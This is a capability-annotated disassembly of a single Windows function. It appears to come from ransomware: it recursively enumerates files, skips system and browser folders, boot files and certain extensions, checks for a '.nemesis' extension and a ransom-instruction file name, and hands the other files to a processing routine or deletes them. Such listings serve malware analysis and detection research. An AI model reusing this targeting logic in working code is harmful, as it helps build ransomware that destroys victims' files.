Function at 0x401980
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
push ebx
push esi
push edi
push 0x250
lea eax, [ebp - 0x258]
mov ebx, ecx
push 0
push eax
mov dword [ebp - 4], ebx
call fcn.00403370
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x668]
push eax
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
jne 0x4019cb
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x870]
push eax
call ebx
push 0x419548
push dword [ebp - 8]
call ebx
lea eax, [ebp - 0x258]
mov dword [ebp - 0x258], 0x10
push eax
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401bc8
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
nop dword [eax]
push 1
lea eax, [ebp - 0x22c]
push 0x419550
push eax
call fcn.00403ae7
add esp, 0xc
test eax, eax
je 0x401bb2
push 2
lea eax, [ebp - 0x22c]
push 0x419554
push eax
call fcn.00403ae7
add esp, 0xc
test eax, eax
je 0x401bb2
test byte [ebp - 0x258], 0x10
je 0x401bb2
push str.programdata
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push 0x419574
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.ati_technologies
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.internet_explorer
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.google
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.mozilla_firefox
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.opera
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.packages
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.windowsapps
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.reportqueue
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
push str.firefox
lea eax, [ebp - 0x22c]
push eax
call esi
test eax, eax
je 0x401bb2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x460]
push eax
push 0x104
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x4019c2
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x419654
lea eax, [ebp - 0x460]
push eax
call ebx
lea eax, [ebp - 0x870]
push eax
lea eax, [ebp - 0x460]
push eax
call ebx
mov edx, 1
lea ecx, [ebp - 0x460]
call fcn.00401980
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401a20
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [ebp - 4]
lea ecx, [ebp - 0x258]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401e67
nop dword [eax + eax]
test byte [ebp - 0x258], 0x10
jne 0x401e4a
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x460]
push eax
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x4019c2
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
push 0x419658
push dword [ebp - 8]
mov edi, eax
call esi
test eax, eax
je 0x401e47
push str.ntdetect.com
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.bootfont.bin
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.ntldr
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.bootmgr
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.bootnxt
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.bootsect.bak
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.ntuser.dat
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.ntuser.ini
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.pdoxusrs.net
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.bootsect.bak
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.bootstat.dat
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.explorer.exe
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.system.ini
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.win.ini
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push str.desktop.ini
push dword [ebp - 8]
call esi
test eax, eax
je 0x401e47
push 0x4197b0
push edi
call esi
test eax, eax
je 0x401e47
push str..sys
push edi
call esi
test eax, eax
je 0x401e47
push str..dll
push edi
call esi
test eax, eax
je 0x401e47
push str..lnk
push edi
call esi
test eax, eax
je 0x401e47
push str..search_ms
push edi
call esi
test eax, eax
je 0x401e47
push str..library_ms
push edi
call esi
test eax, eax
je 0x401e47
push str..regtrans_ms
push edi
call esi
test eax, eax
je 0x401e47
push str..nemesis
push edi
call esi
test eax, eax
je 0x401e47
push 0x41c240
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp edi, eax
jg 0x401e19
xor ecx, ecx
test edi, edi
je 0x401e19
nop dword [eax + eax]
mov ax, word [ebp + ecx*2 - 0x460]
cmp ax, word [ecx*2 + 0x41c240]
jne 0x401e19
inc ecx
cmp ecx, edi
jb 0x401e00
jmp 0x401e47
push str.___INSTRUCTION_RNSMW___.txt
push dword [ebp - 8]
call esi
test eax, eax
jne 0x401e36
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x401e47
sub esp, 8
lea ecx, [ebp - 0x460]
call fcn.00401670
add esp, 8
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401bf0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret